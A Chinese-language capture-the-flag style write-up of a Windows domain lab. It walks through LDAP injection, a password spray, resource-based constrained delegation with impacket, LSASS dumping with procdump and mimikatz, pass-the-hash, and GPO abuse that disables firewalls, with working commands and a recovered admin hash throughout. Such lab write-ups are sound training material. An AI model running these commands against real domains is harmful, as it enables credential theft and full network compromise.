域渗透-How2UseLdap实战
字数 1856 2025-08-25 22:59:02
LDAP域渗透实战:How2UseLdap环境攻防全解析
1. 环境概述与目标
1.1 目标网络拓扑
- DC: 10.0.0.10 (开放端口: 135,445,389,88)
- Ldap服务器: 10.0.0.177 (开放端口: 80)
- Flag主机: 10.0.0.12 (开放端口: 135,139,445)
- 其他机器:
- rbcd win8: 10.0.0.13
- rbcd2 win12: 10.0.0.14
1.2 攻击路径
- Ldap信息收集与注入
- 域外凭证利用
- 基于资源的约束委派攻击
- 域控DNS信息获取
- GPO策略下发
2. LDAP信息收集与利用
2.1 初始信息收集
- 通过端口扫描发现10.0.0.177开放Web服务
- 发现员工信息查询页面,提示"请输入域账户"
- 通过phpinfo.php确认使用LDAP验证
2.2 LDAP注入技术
-
通配符注入:
- 在登录处输入
*作为通配符,成功匹配所有账户 - 获取域内所有用户列表
- 在登录处输入
-
属性枚举:
- 发现attr参数可控,可查询不同LDAP属性
- 关键属性:
- email: userprincipalname
- 手机号: homePhone
- 账户状态: useraccountcontrol
2.3 账户状态分析
-
useraccountcontrol值解析:
- 514 = 512 + 2 (账号存在但禁用)
- 66048 = 65536 + 512 (密码永不过期+账号正常)
-
筛选可用账户:
weishen weishentql dashe dashenb weizi666 weizi
2.4 LDAP密码喷洒
使用3gstudent的PowerShell脚本进行密码喷洒:
Set-ExecutionPolicy Bypass
Import-Module .\ldap_password.ps1
Invoke-DomainPasswordSprayOutsideTheDomain -Domain "10.0.0.10/DC=ds,DC=local" -UserList .\user.txt -Password p@ssw0rd -Verbose
成功获取凭证: dashe:p@ssw0rd
3. 深入LDAP信息分析
3.1 使用Adfind导出LDAP信息
Adfind.exe * -h 10.0.0.10 -u <user> -up <password> > info.txt
3.2 关键分析点
-
DNS信息导出:
- 使用adidnsdump获取隐藏主机:
adidnsdump -u ds.local\\dashe -p p@ssw0rd 10.0.0.10- 发现10.0.0.12未被扫描到
-
机器账户分析:
- 查找具有mS-DS-CreatorSID属性的机器:
AdFind.exe -h 10.0.0.10 -u dashe -up "p@ssw0rd" -b "DC=ds,DC=local" -f "objectClass=computer" mS-DS-CreatorSID- 发现机器由SID为
S-1-5-21-1946571181-3420340102-3117322147-1106的用户加入
-
用户属性分析:
- whenCreated (创建时间)
- memberOf (所属组)
- userAccountControl (权限)
- lastLogon (上次登录时间)
- pwdLastSet (上次密码修改时间)
- lastLogonTimestamp (上次登录时间戳)
4. 基于资源的约束委派攻击
4.1 前置知识
- MAQ (MachineAccountQuota): 默认允许域用户创建10个计算机账户
- 创建的机器账户会加入域计算机组
- 创建者对机器账户有完全控制权限
4.2 攻击步骤
-
创建机器账户:
impacket-addcomputer "ds.local/dashe:p@ssw0rd" -dc-ip 10.0.0.10 -computer-name test_computer598$ -computer-pass p@ssw0rd -
建立委派关系:
impacket-rbcd -delegate-to win8$ -delegate-from test_computer598$ -dc-ip 10.0.0.10 ds/dashe:p@ssw0rd -action write -
获取服务票据:
impacket-getST -dc-ip 10.0.0.10 ds.local/test_computer598\$:p@ssw0rd -spn cifs/win8.ds.local -impersonate administrator注意: 需要时间同步,若出现
clock Skew too great错误:sudo ntpdate 10.0.0.10 -
使用票据:
export KRB5CCNAME=administrator.ccache
5. 横向移动与权限提升
5.1 通过SMB访问目标机器
-
上传工具:
impacket-smbclient administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10 use c$ put procdump64.exe -
解决DNS问题:
- 修改/etc/hosts:
vim /etc/hosts sudo /etc/init.d/networking restart - 或设置域控为DNS服务器
- 修改/etc/hosts:
5.2 转储凭据
-
执行procdump:
impacket-smbexec administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10 procdump64.exe -accepteula -ma lsass.exe lsass.dmp -
本地分析dump文件:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" > pssword.txt- 获取域管hash:
f1b7ec38edc8b8046053884234a9d01a
- 获取域管hash:
6. GPO策略下发
6.1 使用pyGPOAbuse
-
安装要求:
- Python > 3.8
- 安装msldap
-
创建策略关闭防火墙:
python3 pygpoabuse.py ds.local/administrator -hashes :f1b7ec38edc8b8046053884234a9d01a -gpo-id "31b2f340-016d-11d2-945f-00c04fb984f9" -powershell -command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False" -taskname "Completely Legit Task" -description "Dis is legit, pliz no delete" -dc-ip 10.0.0.10 -v关键GPO ID:
- 域控策略:
6AC1786C-016F-11D2-945F-00C04fB984F9 - 域机器策略:
31b2f340-016d-11d2-945f-00c04fb984f9
- 域控策略:
6.2 获取Flag
等待策略生效后,使用psexec访问目标机器:
impacket-psexec administrator@10.0.0.12 -hashes :f1b7ec38edc8b8046053884234a9d01a
7. 总结与扩展
7.1 攻击链总结
- LDAP注入获取用户列表
- 密码喷洒获取有效凭证
- LDAP信息深度分析
- 利用MAQ创建机器账户
- 基于资源的约束委派攻击
- 转储凭据获取域管权限
- GPO策略下发关闭防火墙
- 最终获取flag
7.2 扩展思路
- 其他LDAP利用技术: LDAP传递、LDAP中继
- 其他委派攻击方式: 非约束委派、传统约束委派
- 其他权限维持方法: Golden Ticket、Silver Ticket
- 其他信息收集方法: BloodHound分析
本环境完整展示了从外网到内网、从普通权限到域管权限的完整攻击链,重点围绕LDAP信息利用展开,是域渗透基础技术的综合应用。